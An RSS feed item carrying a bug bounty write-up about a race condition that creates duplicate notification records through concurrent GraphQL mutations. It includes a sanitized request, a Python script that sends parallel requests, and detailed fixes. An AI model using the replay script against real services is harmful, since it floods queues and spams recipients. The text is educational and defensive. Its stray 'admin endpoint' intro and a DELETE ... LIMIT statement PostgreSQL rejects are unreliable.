<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	 xmlns:media="http://search.yahoo.com/mrss/" >

<channel>
	<title>Bug Bounty Blogs &#8211; Hackersatty – Learn Ethical Hacking, Bug Bounty, and Cybersecurity Tips</title>
	<atom:link href="https://hackersatty.com/bug-bounty-blogs/feed/" rel="self" type="application/rss+xml" />
	<link>https://hackersatty.com</link>
	<description>Hack Ethicaly, Hunt Bugs</description>
	<lastBuildDate>Sun, 26 Oct 2025 06:18:03 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://hackersatty.com/wp-content/uploads/2025/06/cropped-cropped-HACKER-SATTY-scaled-1-32x32.jpg</url>
	<title>Bug Bounty Blogs &#8211; Hackersatty – Learn Ethical Hacking, Bug Bounty, and Cybersecurity Tips</title>
	<link>https://hackersatty.com</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">245626826</site>	<item>
		<title>How I Abused a Race Condition to Create Duplicate Notification Records (sanitized)</title>
		<link>https://hackersatty.com/how-i-abused-a-race-condition-to-create-duplicate-notification-records-sanitized/</link>
					<comments>https://hackersatty.com/how-i-abused-a-race-condition-to-create-duplicate-notification-records-sanitized/#respond</comments>
		
		<dc:creator><![CDATA[hackersatty]]></dc:creator>
		<pubDate>Sun, 26 Oct 2025 06:18:03 +0000</pubDate>
				<category><![CDATA[Bug Bounty Blogs]]></category>
		<category><![CDATA[bug bounty 2025]]></category>
		<category><![CDATA[Bug bounty API vulnerability]]></category>
		<category><![CDATA[bug bounty for beginners]]></category>
		<category><![CDATA[Bug Bounty writeup]]></category>
		<category><![CDATA[Hackerone Bug bounty]]></category>
		<category><![CDATA[medium bug bounty]]></category>
		<category><![CDATA[Race condition bugs]]></category>
		<guid isPermaLink="false">https://hackersatty.com/?p=521</guid>

					<description><![CDATA[Author: Satyam Pawale — hackersatty.comTarget (sanitized): vendor.hackersatty.com — Dashboard → Settings → Notifications → Add notification (modal)Severity: High About Me Hey! I’m Satyam Pawale, known as @hackersatty in the bug bounty and ethical &#8230; <a href="https://hackersatty.com/how-i-abused-a-race-condition-to-create-duplicate-notification-records-sanitized/" class="more-link">Read More</a>]]></description>
										<content:encoded><![CDATA[<p data-start="86" data-end="294"><strong data-start="86" data-end="97">Author:</strong> Satyam Pawale — hackersatty.com<br data-start="158" data-end="161" /><strong data-start="161" data-end="184">Target (sanitized):</strong> vendor.hackersatty.com — Dashboard → Settings → Notifications → Add notification (modal)<br data-start="273" data-end="276" /><strong data-start="276" data-end="289">Severity:</strong> High</p>
<hr data-start="296" data-end="299" />
<h2 data-start="1000" data-end="1017"><span id="About_Me"><strong data-start="1003" data-end="1015">About Me</strong></span></h2>
<p data-start="1019" data-end="1241">Hey! I’m <strong data-start="1028" data-end="1045">Satyam Pawale</strong>, known as <strong data-start="1056" data-end="1072">@hackersatty</strong> in the bug bounty and ethical hacking world. I started bug hunting in 2024, and ever since, I’ve been obsessed with finding vulnerabilities that most people overlook.</p>
<p data-start="1243" data-end="1440">My goal with this blog is to share <strong data-start="1278" data-end="1315">real-world bug bounty experiences</strong> so other hunters can learn the techniques, tools, and mindset required to succeed — while staying ethical and responsible.</p>
<p data-start="1442" data-end="1596">This case is about how I found <strong data-start="1473" data-end="1516">critical admin endpoint vulnerabilities</strong> that allowed direct, unauthorized access to sensitive backend pages and data.</p>
<h2 data-start="301" data-end="309">Summary</h2>
<p data-start="310" data-end="911">A race condition in the GraphQL <code data-start="342" data-end="362">CreateNotification</code> flow allows many identical notification records to be created for the same <code data-start="438" data-end="465">(email, notificationType)</code> pair by sending the same mutation concurrently. The backend performs a non-atomic existence check + insert (or lacks a uniqueness constraint), so parallel requests each succeed and create duplicate rows. Impact includes duplicate emails, queue exhaustion, corrupted metrics, and amplified downstream processing. Fix by enforcing atomic deduplication (DB unique constraint, upsert, or transactional locking) and canonicalizing inputs server-side.</p>
<hr data-start="913" data-end="916" />
<h2 data-start="918" data-end="929">Overview</h2>
<p data-start="930" data-end="1368">While testing the notifications feature on a sanitized test instance, I discovered that sending the exact same <code data-start="1041" data-end="1061">CreateNotification</code> GraphQL mutation <em data-start="1079" data-end="1100">near-simultaneously</em> results in multiple identical notification records. The web UI may include client-side deduplication for UX, but the server accepts every concurrent request and persists a row per request because there is no server-side atomic deduplication or uniqueness enforcement.</p>
<p data-start="1370" data-end="1509">All artifacts in this write-up are sanitized: domain names and identifiers use <code data-start="1449" data-end="1466">hackersatty.com</code> and no real emails or tokens are included.</p>
<hr data-start="1511" data-end="1514" />
<h2 data-start="1516" data-end="1543">Vulnerability —</h2>
<p data-start="1544" data-end="1732"><strong data-start="1544" data-end="1595">Race condition / missing server-side uniqueness</strong>: concurrent <code data-start="1608" data-end="1628">CreateNotification</code> GraphQL mutations for the same canonical <code data-start="1670" data-end="1697">(email, notificationType)</code> create duplicate database records.</p>
<hr data-start="1734" data-end="1737" />
<h2 data-start="1739" data-end="1758">Why this matters</h2>
<ul data-start="1759" data-end="2233">
<li data-start="1759" data-end="1868">
<p data-start="1761" data-end="1868"><strong data-start="1761" data-end="1781">Duplicate emails</strong> — recipients receive the same notification multiple times (spam, reputational risk).</p>
</li>
<li data-start="1869" data-end="1963">
<p data-start="1871" data-end="1963"><strong data-start="1871" data-end="1894">Queue &amp; worker load</strong> — duplicate rows trigger duplicate processing and waste resources.</p>
</li>
<li data-start="1964" data-end="2042">
<p data-start="1966" data-end="2042"><strong data-start="1966" data-end="1989">Analytics pollution</strong> — duplicate rows inflate counts and break metrics.</p>
</li>
<li data-start="2043" data-end="2146">
<p data-start="2045" data-end="2146"><strong data-start="2045" data-end="2073">Downstream amplification</strong> — exports, reporting, or workflows iterating over rows are multiplied.</p>
</li>
<li data-start="2147" data-end="2233">
<p data-start="2149" data-end="2233"><strong data-start="2149" data-end="2171">Highly automatable</strong> — a script or proxy tool can reliably create many duplicates.</p>
</li>
</ul>
<hr data-start="2235" data-end="2238" />
<h2 data-start="2240" data-end="2284">Best reproduction scenario</h2>
<p data-start="2286" data-end="2303"><strong data-start="2286" data-end="2303">Preconditions</strong></p>
<ul data-start="2304" data-end="2622">
<li data-start="2304" data-end="2339">
<p data-start="2306" data-end="2339">Valid test account on the portal.</p>
</li>
<li data-start="2340" data-end="2428">
<p data-start="2342" data-end="2428">Active session cookie or Authorization bearer token (the same session used by the UI).</p>
</li>
<li data-start="2429" data-end="2574">
<p data-start="2431" data-end="2574">Intercepting proxy or HTTP client that can replay requests concurrently (Burp Repeater, <code data-start="2519" data-end="2525">curl</code> with <code data-start="2531" data-end="2541">xargs -P</code>, Python <code data-start="2550" data-end="2559">aiohttp</code> script, etc.).</p>
</li>
<li data-start="2575" data-end="2622">
<p data-start="2577" data-end="2622">Testing done only on authorized environments.</p>
</li>
</ul>
<p data-start="2624" data-end="2633"><strong data-start="2624" data-end="2633">Steps</strong></p>
<ol data-start="2634" data-end="3662">
<li data-start="2634" data-end="2707">
<p data-start="2637" data-end="2707">Log into the portal at <code data-start="2660" data-end="2684">vendor.hackersatty.com</code> with a test account.</p>
</li>
<li data-start="2708" data-end="2786">
<p data-start="2711" data-end="2786">Dashboard → Settings → Notifications → Add notification (open the modal).</p>
</li>
<li data-start="2787" data-end="2880">
<p data-start="2790" data-end="2880">Fill notification type (example: <code data-start="2823" data-end="2840">ACCOUNT_UPDATES</code>) and a placeholder email (sanitized).</p>
</li>
<li data-start="2881" data-end="2949">
<p data-start="2884" data-end="2949">Click Save once — confirm a single entry is created (expected).</p>
</li>
<li data-start="2950" data-end="3078">
<p data-start="2953" data-end="3078">Start an intercepting proxy and perform the same Add action again to capture the GraphQL mutation for <code data-start="3055" data-end="3075">CreateNotification</code>.</p>
</li>
<li data-start="3079" data-end="3176">
<p data-start="3082" data-end="3176">Send the captured POST <code data-start="3105" data-end="3115">/graphql</code> request to the proxy&#8217;s Repeater (or save the raw request).</p>
</li>
<li data-start="3177" data-end="3250">
<p data-start="3180" data-end="3250">Clone the captured request many times (e.g., 5–20 identical copies).</p>
</li>
<li data-start="3251" data-end="3406">
<p data-start="3254" data-end="3406">Use <strong data-start="3258" data-end="3283">Send group (Parallel)</strong> in Burp Repeater (or run the copies concurrently via a script) so they hit the server within milliseconds of each other.</p>
</li>
<li data-start="3407" data-end="3487">
<p data-start="3410" data-end="3487">Observe: each response returns success (HTTP 200 + GraphQL create payload).</p>
</li>
<li data-start="3488" data-end="3662">
<p data-start="3492" data-end="3662">Refresh the Notifications UI — multiple identical notification rows appear for the same <code data-start="3580" data-end="3607">(email, notificationType)</code> equal to the number of successful concurrent requests.</p>
</li>
</ol>
<hr data-start="3664" data-end="3667" />
<h2 data-start="3669" data-end="3714">Sanitized PoC — Request (GraphQL mutation)</h2>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9">
<div class="absolute end-0 bottom-0 flex h-9 items-center pe-2">
<div class="bg-token-bg-elevated-secondary text-token-text-secondary flex items-center gap-4 rounded-sm px-2 font-sans text-xs"></div>
</div>
</div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre!">POST /graphql HTTP/2<br />
Host: vendor.hackersatty.com<br />
Content-Type: application/json<br />
Apollographql-Client-Name: vendor-portal<br />
Authorization: Bearer &lt;REDACTED_TOKEN&gt;<br />
Origin: https://vendor.hackersatty.com<br />
Referer: https://vendor.hackersatty.com/dashboard/settings/notifications</p>
<p>{<br />
  <span class="hljs-string">"operationName"</span>: <span class="hljs-string">"CreateNotification"</span>,<br />
  <span class="hljs-string">"variables"</span>: {<br />
    <span class="hljs-string">"input"</span>: {<br />
      <span class="hljs-string">"email"</span>: <span class="hljs-string">"&lt;REDACTED_EMAIL&gt;"</span>,<br />
      <span class="hljs-string">"notificationType"</span>: <span class="hljs-string">"ACCOUNT_UPDATES"</span>,<br />
      <span class="hljs-string">"accountId"</span>: 12345<br />
    }<br />
  },<br />
  <span class="hljs-string">"query"</span>: <span class="hljs-string">"mutation CreateNotification(<span class="hljs-variable">$input</span></span>: CreateNotificationInput!) { createNotification(input: <span class="hljs-variable">$input</span>) { accountId notificationType email __typename } }"<br />
}<br />
</code></div>
</div>
<h2 data-start="4352" data-end="4434">Sanitized PoC — Typical Response (each concurrent request returns same success)</h2>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9">
<div class="absolute end-0 bottom-0 flex h-9 items-center pe-2">
<div class="bg-token-bg-elevated-secondary text-token-text-secondary flex items-center gap-4 rounded-sm px-2 font-sans text-xs"></div>
</div>
</div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre!">HTTP/<span class="hljs-number">2</span> <span class="hljs-number">200</span> OK<br />
<span class="hljs-attribute">Content</span>-Type: application/json</p>
<p>{<br />
  "data": {<br />
    "createNotification": {<br />
      "accountId": <span class="hljs-string">"12345"</span>,<br />
      <span class="hljs-string">"notificationType"</span>: <span class="hljs-string">"ACCOUNT_UPDATES"</span>,<br />
      <span class="hljs-string">"email"</span>: <span class="hljs-string">"&lt;REDACTED_EMAIL&gt;"</span>,<br />
      <span class="hljs-string">"__typename"</span>: <span class="hljs-string">"NotificationRecord"</span><br />
    }<br />
  }<br />
}<br />
</code></div>
</div>
<blockquote data-start="4693" data-end="4816">
<p data-start="4695" data-end="4816">Each parallel request returns a created payload and, after refresh, multiple identical notification rows exist in the UI.</p>
</blockquote>
<hr data-start="4818" data-end="4821" />
<h2 data-start="4823" data-end="4888">Exactly how the race condition happens (technical explanation)</h2>
<ol data-start="4889" data-end="5536">
<li data-start="4889" data-end="4983">
<p data-start="4892" data-end="4983"><strong data-start="4892" data-end="4925">Non-atomic check-then-insert:</strong> the server likely performs <code data-start="4953" data-end="4980">if not exists then insert</code>.</p>
</li>
<li data-start="4984" data-end="5194">
<p data-start="4987" data-end="5194"><strong data-start="4987" data-end="5010">Concurrency window:</strong> when multiple identical requests arrive simultaneously, each executes the existence check before any concurrent inserts commit; each sees &#8220;no existing row&#8221; and proceeds to <code data-start="5183" data-end="5191">INSERT</code>.</p>
</li>
<li data-start="5195" data-end="5336">
<p data-start="5198" data-end="5336"><strong data-start="5198" data-end="5230">No DB uniqueness constraint:</strong> the DB lacks a uniqueness constraint on <code data-start="5271" data-end="5309">(canonical_email, notification_type)</code>, so all inserts succeed.</p>
</li>
<li data-start="5337" data-end="5448">
<p data-start="5340" data-end="5448"><strong data-start="5340" data-end="5352">Outcome:</strong> the application returns &#8220;created&#8221; for each request; multiple identical records are persisted.</p>
</li>
<li data-start="5449" data-end="5536">
<p data-start="5452" data-end="5536"><strong data-start="5452" data-end="5465">Symptoms:</strong> N UI rows for N concurrent requests; duplicated processing downstream.</p>
</li>
</ol>
<p data-start="5538" data-end="5708">This is the classic race condition between check and insert under concurrency — the fix is to make creation atomic at the storage layer or to serialize the creation path.</p>
<hr data-start="5710" data-end="5713" />
<h2 data-start="5715" data-end="5755">Techniques &amp; tools used (methodology)</h2>
<ul data-start="5756" data-end="6286">
<li data-start="5756" data-end="5841">
<p data-start="5758" data-end="5841"><strong data-start="5758" data-end="5781">Intercepting proxy:</strong> Burp Suite (Proxy + Repeater) with Send group (Parallel).</p>
</li>
<li data-start="5842" data-end="5958">
<p data-start="5844" data-end="5958"><strong data-start="5844" data-end="5880">Alternative concurrency methods:</strong> <code data-start="5881" data-end="5887">curl</code> with <code data-start="5893" data-end="5903">xargs -P</code>, Python <code data-start="5912" data-end="5921">aiohttp</code> or threaded <code data-start="5934" data-end="5944">requests</code>, <code data-start="5946" data-end="5955">wrk/hey</code>.</p>
</li>
<li data-start="5959" data-end="6099">
<p data-start="5961" data-end="6099"><strong data-start="5961" data-end="5978">Verification:</strong> compare number of created rows in UI to number of concurrent requests; inspect GraphQL responses for created payloads.</p>
</li>
<li data-start="6100" data-end="6175">
<p data-start="6102" data-end="6175"><strong data-start="6102" data-end="6119">Sanitization:</strong> remove tokens, emails, and PII from stored artifacts.</p>
</li>
<li data-start="6176" data-end="6286">
<p data-start="6178" data-end="6286"><strong data-start="6178" data-end="6202">Optional automation:</strong> small async script that sends identical POSTs concurrently to reproduce in staging.</p>
</li>
<li data-start="6176" data-end="6286"><img fetchpriority="high" decoding="async" class="alignnone  wp-image-522" src="https://hackersatty.com/wp-content/uploads/2025/10/3.png" alt="Race Condition" width="265" height="290" title="How I Abused a Race Condition to Create Duplicate Notification Records (sanitized) 2" srcset="https://hackersatty.com/wp-content/uploads/2025/10/3.png 690w, https://hackersatty.com/wp-content/uploads/2025/10/3-274x300.png 274w, https://hackersatty.com/wp-content/uploads/2025/10/3-600x657.png 600w" sizes="(max-width: 265px) 100vw, 265px" /></li>
</ul>
<hr data-start="6288" data-end="6291" />
<h2 data-start="6293" data-end="6324">Concrete fixes (prioritized)</h2>
<h3 data-start="6326" data-end="6387">1) Enforce uniqueness at the database layer (recommended)</h3>
<p data-start="6388" data-end="6453">Create a unique index on canonicalized email + notification_type:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9">
<div class="absolute end-0 bottom-0 flex h-9 items-center pe-2">
<div class="bg-token-bg-elevated-secondary text-token-text-secondary flex items-center gap-4 rounded-sm px-2 font-sans text-xs"></div>
</div>
</div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-sql"><span class="hljs-keyword">CREATE</span> <span class="hljs-keyword">UNIQUE</span> INDEX CONCURRENTLY idx_notifications_unique_email_type<br />
<span class="hljs-keyword">ON</span> notifications ((<span class="hljs-built_in">lower</span>(email)), notification_type);<br />
</code></div>
</div>
<p data-start="6590" data-end="6666">This guarantees the storage layer prevents duplicates under concurrent load.</p>
<h3 data-start="6668" data-end="6708">2) Use atomic upsert (<code data-start="6694" data-end="6707">ON CONFLICT</code>)</h3>
<p data-start="6709" data-end="6727">Preferred pattern:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9">
<div class="absolute end-0 bottom-0 flex h-9 items-center pe-2">
<div class="bg-token-bg-elevated-secondary text-token-text-secondary flex items-center gap-4 rounded-sm px-2 font-sans text-xs"></div>
</div>
</div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-sql"><span class="hljs-keyword">INSERT</span> <span class="hljs-keyword">INTO</span> notifications (account_id, email, notification_type, created_at)<br />
<span class="hljs-keyword">VALUES</span> ($<span class="hljs-number">1</span>, <span class="hljs-built_in">lower</span>($<span class="hljs-number">2</span>), $<span class="hljs-number">3</span>, now())<br />
<span class="hljs-keyword">ON</span> CONFLICT ((<span class="hljs-built_in">lower</span>(email)), notification_type) DO <span class="hljs-keyword">UPDATE</span><br />
  <span class="hljs-keyword">SET</span> updated_at <span class="hljs-operator">=</span> EXCLUDED.created_at<br />
RETURNING <span class="hljs-operator">*</span>;<br />
</code></div>
</div>
<p data-start="6962" data-end="7053">Or <code data-start="6965" data-end="6989">ON CONFLICT DO NOTHING</code> followed by <code data-start="7002" data-end="7010">SELECT</code> the existing row if you need to return it.</p>
<h3 data-start="7055" data-end="7090">3) Server-side canonicalization</h3>
<p data-start="7091" data-end="7194">Always canonicalize emails server-side (trim + lowercase + unicode normalize) before checks or inserts.</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9">
<div class="absolute end-0 bottom-0 flex h-9 items-center pe-2">
<div class="bg-token-bg-elevated-secondary text-token-text-secondary flex items-center gap-4 rounded-sm px-2 font-sans text-xs"></div>
</div>
</div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-js"><span class="hljs-keyword">const</span> canonicalEmail = email.<span class="hljs-title function_">trim</span>().<span class="hljs-title function_">toLowerCase</span>();<br />
</code></div>
</div>
<h3 data-start="7258" data-end="7292">4) Optional: idempotency token</h3>
<p data-start="7293" data-end="7452">If clients can provide an idempotency key, enforce it server-side to dedupe create attempts. This is most suitable for API clients rather than basic UI clicks.</p>
<h3 data-start="7454" data-end="7499">5) Transactional locking / advisory locks</h3>
<p data-start="7500" data-end="7721">If <code data-start="7503" data-end="7516">ON CONFLICT</code> is not available, use transactional serialization or an advisory lock keyed by <code data-start="7596" data-end="7646">(account_id, canonical_email, notification_type)</code> to serialize creation. This is less desirable than DB uniqueness + upsert.</p>
<hr data-start="7723" data-end="7726" />
<h2 data-start="7728" data-end="7769">Pseudocode — atomic upsert (preferred)</h2>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9">
<div class="absolute end-0 bottom-0 flex h-9 items-center pe-2">
<div class="bg-token-bg-elevated-secondary text-token-text-secondary flex items-center gap-4 rounded-sm px-2 font-sans text-xs"></div>
</div>
</div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-pseudo">function createNotification(accountId, email, notificationType):<br />
    email = canonicalize(email)  // trim + lowercase + normalize</p>
<p>    result = db.query(<br />
      `INSERT INTO notifications (account_id, email, notification_type, created_at)<br />
       VALUES ($1, $2, $3, now())<br />
       ON CONFLICT ((lower(email)), notification_type) DO UPDATE<br />
       SET updated_at = now()<br />
       RETURNING *`,<br />
      [accountId, email, notificationType]<br />
    )</p>
<p>    return result<br />
</code></div>
</div>
<hr data-start="8241" data-end="8244" />
<h2 data-start="8246" data-end="8287">Detection &amp; monitoring recommendations</h2>
<ul data-start="8288" data-end="8664">
<li data-start="8288" data-end="8363">
<p data-start="8290" data-end="8363"><strong data-start="8290" data-end="8309">Alert on spikes</strong> in notifications creation per account or per email.</p>
</li>
<li data-start="8364" data-end="8464">
<p data-start="8366" data-end="8464"><strong data-start="8366" data-end="8405">Instrument unique-violation metrics</strong> after adding constraints to detect attempted duplicates.</p>
</li>
<li data-start="8465" data-end="8561">
<p data-start="8467" data-end="8561"><strong data-start="8467" data-end="8481">Audit logs</strong>: record create attempts, client IPs, and request ids for concurrent patterns.</p>
</li>
<li data-start="8562" data-end="8664">
<p data-start="8564" data-end="8664"><strong data-start="8564" data-end="8584">Queue monitoring</strong>: track message queue length and worker backlogs triggered by notification rows.</p>
</li>
</ul>
<hr data-start="8666" data-end="8669" />
<h2 data-start="8671" data-end="8703">Safe remediation rollout plan</h2>
<ol data-start="8704" data-end="9081">
<li data-start="8704" data-end="8824">
<p data-start="8707" data-end="8720"><strong data-start="8707" data-end="8720">Immediate</strong></p>
<ul data-start="8724" data-end="8824">
<li data-start="8724" data-end="8779">
<p data-start="8726" data-end="8779">Canonicalize emails server-side (lowercase + trim).</p>
</li>
<li data-start="8783" data-end="8824">
<p data-start="8785" data-end="8824">Add rate limits to the create endpoint.</p>
</li>
</ul>
</li>
<li data-start="8826" data-end="8996">
<p data-start="8829" data-end="8846"><strong data-start="8829" data-end="8846">High priority</strong></p>
<ul data-start="8850" data-end="8996">
<li data-start="8850" data-end="8904">
<p data-start="8852" data-end="8904">Clean existing duplicates (see dedupe plan below).</p>
</li>
<li data-start="8908" data-end="8996">
<p data-start="8910" data-end="8996">Create a unique index concurrently and change create flow to <code data-start="8971" data-end="8995">INSERT ... ON CONFLICT</code>.</p>
</li>
</ul>
</li>
<li data-start="8998" data-end="9081">
<p data-start="9001" data-end="9013"><strong data-start="9001" data-end="9013">Post-fix</strong></p>
<ul data-start="9017" data-end="9081">
<li data-start="9017" data-end="9081">
<p data-start="9019" data-end="9081">Run dedupe migration in controlled batches and add monitoring.</p>
</li>
</ul>
</li>
</ol>
<hr data-start="9083" data-end="9086" />
<h2 data-start="9088" data-end="9123">Dedupe migration (safe approach)</h2>
<ol data-start="9124" data-end="9174">
<li data-start="9124" data-end="9150">
<p data-start="9127" data-end="9150"><strong data-start="9127" data-end="9137">Backup</strong> the table.</p>
</li>
<li data-start="9151" data-end="9174">
<p data-start="9154" data-end="9174">Identify duplicates:</p>
</li>
</ol>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9">
<div class="absolute end-0 bottom-0 flex h-9 items-center pe-2">
<div class="bg-token-bg-elevated-secondary text-token-text-secondary flex items-center gap-4 rounded-sm px-2 font-sans text-xs"></div>
</div>
</div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-sql"><span class="hljs-keyword">SELECT</span> <span class="hljs-built_in">lower</span>(email) <span class="hljs-keyword">AS</span> email_norm, notification_type, <span class="hljs-built_in">count</span>(<span class="hljs-operator">*</span>) <span class="hljs-keyword">AS</span> c<br />
<span class="hljs-keyword">FROM</span> notifications<br />
<span class="hljs-keyword">GROUP</span> <span class="hljs-keyword">BY</span> <span class="hljs-built_in">lower</span>(email), notification_type<br />
<span class="hljs-keyword">HAVING</span> <span class="hljs-built_in">count</span>(<span class="hljs-operator">*</span>) <span class="hljs-operator">&gt;</span> <span class="hljs-number">1</span>;<br />
</code></div>
</div>
<ol start="3" data-start="9337" data-end="9422">
<li data-start="9337" data-end="9422">
<p data-start="9340" data-end="9422">Keep one canonical row (e.g., earliest <code data-start="9379" data-end="9391">created_at</code>) and delete others in batches:</p>
</li>
</ol>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9">
<div class="absolute end-0 bottom-0 flex h-9 items-center pe-2">
<div class="bg-token-bg-elevated-secondary text-token-text-secondary flex items-center gap-4 rounded-sm px-2 font-sans text-xs"></div>
</div>
</div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-sql"><span class="hljs-keyword">WITH</span> ranked <span class="hljs-keyword">AS</span> (<br />
  <span class="hljs-keyword">SELECT</span> id, <span class="hljs-built_in">ROW_NUMBER</span>() <span class="hljs-keyword">OVER</span> (<br />
    <span class="hljs-keyword">PARTITION</span> <span class="hljs-keyword">BY</span> <span class="hljs-built_in">lower</span>(email), notification_type<br />
    <span class="hljs-keyword">ORDER</span> <span class="hljs-keyword">BY</span> created_at <span class="hljs-keyword">ASC</span><br />
  ) rn<br />
  <span class="hljs-keyword">FROM</span> notifications<br />
)<br />
<span class="hljs-keyword">DELETE</span> <span class="hljs-keyword">FROM</span> notifications<br />
<span class="hljs-keyword">WHERE</span> id <span class="hljs-keyword">IN</span> (<span class="hljs-keyword">SELECT</span> id <span class="hljs-keyword">FROM</span> ranked <span class="hljs-keyword">WHERE</span> rn <span class="hljs-operator">&gt;</span> <span class="hljs-number">1</span>)<br />
LIMIT <span class="hljs-number">1000</span>; <span class="hljs-comment">-- run repeatedly until done</span><br />
</code></div>
</div>
<ol start="4" data-start="9709" data-end="9826">
<li data-start="9709" data-end="9826">
<p data-start="9712" data-end="9826">Validate referential integrity and update dependent tables if necessary. Run in small batches with an audit trail.</p>
</li>
</ol>
<hr data-start="9828" data-end="9831" />
<h2 data-start="9833" data-end="9899">Example automated reproduction script (sanitized, Python async)</h2>
<blockquote data-start="9900" data-end="9981">
<p data-start="9902" data-end="9981">For authorized testing only — do not run against production without permission.</p>
</blockquote>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9">
<div class="absolute end-0 bottom-0 flex h-9 items-center pe-2">
<div class="bg-token-bg-elevated-secondary text-token-text-secondary flex items-center gap-4 rounded-sm px-2 font-sans text-xs"></div>
</div>
</div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-python"><span class="hljs-comment"># async_replay.py (sanitized)</span><br />
<span class="hljs-keyword">import</span> asyncio<br />
<span class="hljs-keyword">import</span> aiohttp</p>
<p>URL = <span class="hljs-string">"https://vendor.hackersatty.com/graphql"</span><br />
HEADERS = {<br />
    <span class="hljs-string">"Content-Type"</span>: <span class="hljs-string">"application/json"</span>,<br />
    <span class="hljs-string">"Authorization"</span>: <span class="hljs-string">"Bearer &lt;REDACTED_TOKEN&gt;"</span><br />
}<br />
PAYLOAD = {<br />
  <span class="hljs-string">"operationName"</span>: <span class="hljs-string">"CreateNotification"</span>,<br />
  <span class="hljs-string">"variables"</span>: {<br />
    <span class="hljs-string">"input"</span>: {<br />
      <span class="hljs-string">"email"</span>: <span class="hljs-string">"&lt;REDACTED_EMAIL&gt;"</span>,<br />
      <span class="hljs-string">"notificationType"</span>: <span class="hljs-string">"ACCOUNT_UPDATES"</span>,<br />
      <span class="hljs-string">"accountId"</span>: <span class="hljs-number">12345</span><br />
    }<br />
  },<br />
  <span class="hljs-string">"query"</span>: <span class="hljs-string">"mutation CreateNotification($input: CreateNotificationInput!) { createNotification(input: $input) { accountId notificationType email } }"</span><br />
}</p>
<p><span class="hljs-keyword">async</span> <span class="hljs-keyword">def</span> <span class="hljs-title function_">send_one</span>(<span class="hljs-params">session</span>):<br />
    <span class="hljs-keyword">async</span> <span class="hljs-keyword">with</span> session.post(URL, json=PAYLOAD, headers=HEADERS) <span class="hljs-keyword">as</span> resp:<br />
        text = <span class="hljs-keyword">await</span> resp.text()<br />
        <span class="hljs-keyword">return</span> resp.status, text</p>
<p><span class="hljs-keyword">async</span> <span class="hljs-keyword">def</span> <span class="hljs-title function_">main</span>(<span class="hljs-params">n</span>):<br />
    <span class="hljs-keyword">async</span> <span class="hljs-keyword">with</span> aiohttp.ClientSession() <span class="hljs-keyword">as</span> session:<br />
        tasks = [send_one(session) <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(n)]<br />
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">await</span> asyncio.gather(*tasks)</p>
<p><span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:<br />
    results = asyncio.run(main(<span class="hljs-number">10</span>))<br />
    <span class="hljs-keyword">for</span> status, body <span class="hljs-keyword">in</span> results:<br />
        <span class="hljs-built_in">print</span>(status, body[:<span class="hljs-number">200</span>])<br />
</code></div>
</div>
<p data-start="11029" data-end="11136">This script sends 10 concurrent create requests; on an affected system you would see multiple created rows.</p>
<hr data-start="11138" data-end="11141" />
<h2 data-start="11143" data-end="11190">Short checklist to verify the fix in staging</h2>
<ol data-start="11191" data-end="11678">
<li data-start="11191" data-end="11261">
<p data-start="11194" data-end="11261">Add canonicalization and upsert logic + unique index in a branch.</p>
</li>
<li data-start="11262" data-end="11369">
<p data-start="11265" data-end="11369">Run the staging app and attempt the same parallel test (Burp Repeater Send group or the async script).</p>
</li>
<li data-start="11370" data-end="11488">
<p data-start="11373" data-end="11488">Confirm only one notification row exists per canonical <code data-start="11428" data-end="11455">(email, notificationType)</code> after the concurrent attempts.</p>
</li>
<li data-start="11489" data-end="11592">
<p data-start="11492" data-end="11592">Monitor logs and unique-violation metrics; expect zero unhandled constraint errors in normal flow.</p>
</li>
<li data-start="11593" data-end="11678">
<p data-start="11596" data-end="11678">Run the dedupe migration if historical duplicates exist and then create the index.</p>
</li>
</ol>
<hr data-start="11680" data-end="11683" />
<h2 data-start="11685" data-end="11719">Summary —</h2>
<ol data-start="11720" data-end="12122">
<li data-start="11720" data-end="11840">
<p data-start="11723" data-end="11840"><strong data-start="11723" data-end="11761">Enforce uniqueness at the DB layer</strong>: create a unique index on canonicalized <code data-start="11802" data-end="11837">(lower(email), notification_type)</code>.</p>
</li>
<li data-start="11841" data-end="11972">
